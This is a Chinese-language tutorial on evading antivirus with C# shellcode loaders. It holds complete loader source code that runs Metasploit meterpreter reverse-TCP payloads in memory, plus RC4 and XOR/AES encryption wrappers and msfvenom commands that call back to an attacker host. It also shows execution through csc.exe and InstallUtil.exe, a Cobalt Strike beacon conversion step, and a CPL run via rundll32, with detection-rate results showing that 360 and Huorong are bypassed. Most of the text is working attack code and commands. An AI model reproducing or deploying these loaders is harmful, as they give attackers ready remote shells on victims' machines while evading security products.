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本文目录:
免杀能力一览表
一、C#加载shellcode免杀介绍
二、C#源码直接编译exe
2.1 方法1:C#+shellcode直接编译(VT免杀率20/71)
2.2 方法2:C#+加密处理shellcode免杀(VT免杀率8/70)
2.3 方法3:XOR/AES编码shellcode(VT免杀率14/71)
三、加载器加载C#代码
3.1 法4:使用CSC+InstallUtil执行shellcode(VT免杀率33/71)
3.2 法5:从资源里加载shelllcode
四、参考资料
文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus
几点说明:
1、表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为杀软查杀能力或免杀能力的判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。
6、由于白名单程序加载payload的免杀测试需要杀软的行为检测才合理,静态查杀payload或者查杀白名单程序都没有任何意义,所以这里对白名单程序的免杀效果不做评判。
使用C#加载shellcode也是比较常见的一种免杀方式,比如之前文章里的zirikatu、veil、AVIator、SpookFlare等工具都可以对C#代码进行免杀处理,而SharpShooter和CACTUSTORCH还可以使用vbs或js执行C#的二进制payload。
这里我们介绍一下基于C#的常见手工免杀方法,C#加载shellcode也和C/C++加载类似,可以分两种方式。
1、C#源码+shellcode直接编译,且shellcode可进行一些加密混淆处理;
2、使用加载器加载C#代码,这个就是网上常见的白名单程序加载了,比如可以利用csc.exe。
先用msfvenom生成基于C#的shellcode,使用了shikata_ga_nai编码
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -i 15 -f csharp -o payload.txt在vs2017中新建C#加密项目
然后将payload.txt文件中的shellcode代码复制到下面C#代码中
using System;using System.Runtime.InteropServices;namespace TCPMeterpreterProcess{class Program{static void Main(string[] args){// native function’s compiled code// generated with metasploitbyte[] shellcode = new byte[] { msfvenom生成的 shellcode};UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,MEM_COMMIT, PAGE_EXECUTE_READWRITE);Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);IntPtr hThread = IntPtr.Zero;UInt32 threadId = 0;// prepare dataIntPtr pinfo = IntPtr.Zero;// execute native codehThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);WaitForSingleObject(hThread, 0xFFFFFFFF);}private static UInt32 MEM_COMMIT = 0x1000;private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;[DllImport("kernel32")]private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size, UInt32 flAllocationType, UInt32 flProtect);[DllImport("kernel32")]private static extern bool VirtualFree(IntPtr lpAddress,UInt32 dwSize, UInt32 dwFreeType);[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 lpThreadAttributes,UInt32 dwStackSize,UInt32 lpStartAddress,IntPtr param,UInt32 dwCreationFlags,ref UInt32 lpThreadId);[DllImport("kernel32")]private static extern bool CloseHandle(IntPtr handle);[DllImport("kernel32")]private static extern UInt32 WaitForSingleObject(IntPtr hHandle,UInt32 dwMilliseconds);[DllImport("kernel32")]private static extern IntPtr GetModuleHandle(string moduleName);[DllImport("kernel32")]private static extern UInt32 GetProcAddress(IntPtr hModule,string procName);[DllImport("kernel32")]private static extern UInt32 LoadLibrary(string lpFileName);[DllImport("kernel32")]private static extern UInt32 GetLastError();}}
编译运行,火绒和360都可以免杀
可正常上线
virustotal.com中20/71个报毒
先用msf生成基于c#的shellcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f csharp -o payload.txt在vs2017中新建C#加密项目
把上面payload.txt中的c#代码放入下面的加密代码中
加密代码
using System;using System.Collections.Generic;using System.IO;using System.Linq;using System.Security.Cryptography;using System.Text;using System.Threading.Tasks;using System.Reflection;using System.Runtime.CompilerServices;using System.Runtime.InteropServices;namespace Payload_Encrypt_Maker{ class Program{// 加密密钥,可以更改,加解密源码中保持KEY一致就行static byte[] KEY = { 0x11, 0x22, 0x11, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x11, 0x01, 0x11, 0x11, 0x00, 0x00 };static byte[] IV = { 0x00, 0xcc, 0x00, 0x00, 0x00, 0xcc };static byte[] payload ={0x6b,0xa9}; // 替换成MSF生成的shellcodeprivate static class Encryption_Class{public static string Encrypt(string key, string data){Encoding unicode = Encoding.Unicode;return Convert.ToBase64String(Encrypt(unicode.GetBytes(key), unicode.GetBytes(data)));}public static byte[] Encrypt(byte[] key, byte[] data){return EncryptOutput(key, data).ToArray();}private static byte[] EncryptInitalize(byte[] key){byte[] s = Enumerable.Range(0, 256).Select(i => (byte)i).ToArray();for (int i = 0, j = 0; i < 256; i++){j = (j + key[i % key.Length] + s[i]) & 255;Swap(s, i, j);}return s;}private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data){byte[] s = EncryptInitalize(key);int i = 0;int j = 0;return data.Select((b) =>{i = (i + 1) & 255;j = (j + s[i]) & 255;Swap(s, i, j);return (byte)(b ^ s[(s[i] + s[j]) & 255]);});}private static void Swap(byte[] s, int i, int j){byte c = s[i];s[i] = s[j];s[j] = c;}}static void Main(string[] args){byte[] result = Encryption_Class.Encrypt(KEY, payload);int b = 0;for (int i = 0; i < result.Length; i++){ b++;if (i == result.Length+1){Console.Write(result[i].ToString());}if (i != result.Length) { Console.Write(result[i].ToString() + ","); }}}}}
编译生成一段加密后的shellcode
在vs2017中再新建C#解密项目
解密及执行代码
using System;using System.Collections.Generic;using System.Linq;using System.Text;using System.Runtime.InteropServices;using System.Threading;using System.Reflection;using System.Runtime.CompilerServices;namespace NativePayload_Reverse_tcp{public class Program{public static void Main(){Shellcode.Exec();}}class Shellcode{public static void Exec(){string Payload_Encrypted;Payload_Encrypted = "0,244,36,163,code_herer";string[] Payload_Encrypted_Without_delimiterChar = Payload_Encrypted.Split(',');byte[] _X_to_Bytes = new byte[Payload_Encrypted_Without_delimiterChar.Length];for (int i = 0; i < Payload_Encrypted_Without_delimiterChar.Length; i++){byte current = Convert.ToByte(Payload_Encrypted_Without_delimiterChar[i].ToString());_X_to_Bytes[i] = current;}// 解密密钥,可以更改,加解密源码中保持KEY一致就行byte[] KEY = { 0x11, 0x22, 0x11, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x11, 0x01, 0x11, 0x11, 0x00, 0x00 };byte[] MsfPayload = Decrypt(KEY, _X_to_Bytes);// 加载shellcodeIntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);Thread.Sleep(2000);}public static byte[] Decrypt(byte[] key, byte[] data){return EncryptOutput(key, data).ToArray();}private static byte[] EncryptInitalize(byte[] key){byte[] s = Enumerable.Range(0, 256).Select(i => (byte)i).ToArray();for (int i = 0, j = 0; i < 256; i++){j = (j + key[i % key.Length] + s[i]) & 255;Swap(s, i, j);}return s;}private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data){byte[] s = EncryptInitalize(key);int i = 0;int j = 0;return data.Select((b) =>{i = (i + 1) & 255;j = (j + s[i]) & 255;Swap(s, i, j);return (byte)(b ^ s[(s[i] + s[j]) & 255]);});}private static void Swap(byte[] s, int i, int j){byte c = s[i];s[i] = s[j];s[j] = c;}[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);}}
编译或执行时如果报错,可以查看下面的两个项目属性是否设置有问题
执行生成的ConsoleApp2.exe,可过360和火绒
virustotal.com中8/70个报毒
这个和专题27中介绍的C++的XOR编码方式一样。
需要使用一个工具https://github.com/Arno0x/ShellcodeWrapper
先用msfvenom生成一个raw格式的shellcode
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333 -f raw > shellcode.raw在ShellcodeWrapper文件夹中执行下面命令,其中tidesec为自己设置的key。
python shellcode_encoder.py -cpp -cs -py shellcode.raw tidesec xor生成了三个文件,其中C#为我们需要的文件。
其中encryptedShellcodeWrapper_xor.cpp文件中的C#源码如下
/*Author: Arno0x0x, Twitter: @Arno0x0xHow to compile:===============C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:encryptedShellcodeWrapper_xor.exe encryptedShellcodeWrapper_xor.cs*/using System;using System.IO;using System.Collections.Generic;using System.Text;using System.Threading.Tasks;using System.Security.Cryptography;using System.Runtime.InteropServices;namespace RunShellCode{static class Program{//==============================================================================// CRYPTO FUNCTIONS//==============================================================================private static T[] SubArray<T>(this T[] data, int index, int length){T[] result = new T[length];Array.Copy(data, index, result, 0, length);return result;}private static byte[] xor(byte[] cipher, byte[] key) {byte[] decrypted = new byte[cipher.Length];for(int i = 0; i < cipher.Length; i++) {decrypted[i] = (byte) (cipher[i] ^ key[i % key.Length]);}return decrypted;}//--------------------------------------------------------------------------------------------------// Decrypts the given a plaintext message byte array with a given 128 bits key// Returns the unencrypted message//--------------------------------------------------------------------------------------------------private static byte[] aesDecrypt(byte[] cipher, byte[] key){var IV = cipher.SubArray(0, 16);var encryptedMessage = cipher.SubArray(16, cipher.Length - 16);// Create an AesManaged object with the specified key and IV.using (AesManaged aes = new AesManaged()){aes.Padding = PaddingMode.PKCS7;aes.KeySize = 128;aes.Key = key;aes.IV = IV;using (MemoryStream ms = new MemoryStream()){using (CryptoStream cs = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Write)){cs.Write(encryptedMessage, 0, encryptedMessage.Length);}return ms.ToArray();}}}//==============================================================================// MAIN FUNCTION//==============================================================================static void Main(){byte[] encryptedShellcode = new byte[] { shellcode };string key = "tidesec";string cipherType = "xor";byte[] shellcode = null;//--------------------------------------------------------------// Decrypt the shellcodeif (cipherType == "xor") {shellcode = xor(encryptedShellcode, Encoding.ASCII.GetBytes(key));}else if (cipherType == "aes") {shellcode = aesDecrypt(encryptedShellcode, Convert.FromBase64String(key));}//--------------------------------------------------------------// Copy decrypted shellcode to memoryUInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);IntPtr hThread = IntPtr.Zero;UInt32 threadId = 0;// Prepare dataIntPtr pinfo = IntPtr.Zero;// Invoke the shellcodehThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);WaitForSingleObject(hThread, 0xFFFFFFFF);return;}private static UInt32 MEM_COMMIT = 0x1000;private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;// The usual Win32 API trio functions: VirtualAlloc, CreateThread, WaitForSingleObject[DllImport("kernel32")]private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,UInt32 size,UInt32 flAllocationType,UInt32 flProtect);[DllImport("kernel32")]private static extern IntPtr CreateThread(UInt32 lpThreadAttributes,UInt32 dwStackSize,UInt32 lpStartAddress,IntPtr param,UInt32 dwCreationFlags,ref UInt32 lpThreadId);[DllImport("kernel32")]private static extern UInt32 WaitForSingleObject(IntPtr hHandle,UInt32 dwMilliseconds);}}
在vs2017中新建C#项目,编译运行,火绒和360均可绕过。
msf中正常上线
virustotal.com中14/71个报毒
加载器用的比较多的是CSC.exe+InstallUtil.exe加载shellcode,流程为:msf生成C#格式shellcode -> 加密shellcode -> 解密并加载shellcode -> csc.exe编译成.jpg文件 -> InstallUtil.exe白名单执行。之前backlion师傅和亮神都介绍过这种方法。
先通过msfvenom生成C#的shellcode
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=10.211.55.2 lport=3333 -f csharp下载InstallUtil-Shellcode.cs
wget https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/InstallUtil-Shellcode.cs
将上面生成的shellcode复制到InstallUtil-Shellcode.cs文件中。
使用csc编译InstallUtil-ShellCode.cs
C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:C:\test\shell.exe C:\test\InstallUtil-ShellCode.cs编译生成的shell.exe直接执行是不行的,需要使用InstallUtil.exe来触发。
使用InstallUtil.exe执行shell.exe,360安全卫士会检测到InstallUtil.exe执行预警,360杀毒和火绒动态和静态均无预警。
C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U C:\test\shell.exemsf中可上线
virustotal.com中shell.exe文件33/71个报病毒,这个有点出乎意料。
这里只介绍另外一种从资源里加载shelllcode的方法,不过很遗憾的是这个我没有复现成功。
参考自三好学生大佬的文章:https://wooyun.js.org/drops/CPL%E6%96%87%E4%BB%B6%E5%88%A9%E7%94%A8%E4%BB%8B%E7%BB%8D.html
需要用到这个工具https://github.com/rvrsh3ll/CPLResourceRunner
先用Cobalt Strike 生成shellcode
Attacks -> Packages -> Windows Executable (s) -> Output => RAW (x86)然后用ConvertShellcode.py将生成的beacon.bin转换成shellcode.txt
python ConvertShellcode.py beacon.bin然后再转换成base64编码。
cat shellcode.txt |sed 's/[, ]//g; s/0x//g;' |tr -d '\n' |xxd -p -r |gzip -c |base64 > b64shellcode.txt把生成的base64编码的shellcode复制到项目资源CPLResourceRunner/Resources.txt里。
编译生成dll,并将生成的CPLResourceRunner.dll重命名为.cpl文件,之后执行即可。
不过经过测试,无法上线,没找出来具体原因。
后来用msf生成raw格式的shellcode,也用CPLResourceRunner进行处理,不过还是没法上线。
后来又测试了一下使用msf直接生成cpl文件,倒可以执行上线,使用rundll32.exe来执行。
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.211.55.2 lport=3333 -f dll > shellcode.cplshellcode加载总结:https://uknowsec.cn/posts/notes/shellcode%E5%8A%A0%E8%BD%BD%E6%80%BB%E7%BB%93.html
记一则免杀技巧:https://www.jianshu.com/p/965211afc5f9
那些shellcode免杀总结:https://xz.aliyun.com/t/7170
免杀技巧:https://blog.moofeng.cn/2019/04/18/%E8%AE%B0%E4%B8%80%E5%88%99%E5%85%8D%E6%9D%80%E6%8A%80%E5%B7%A7/index.html
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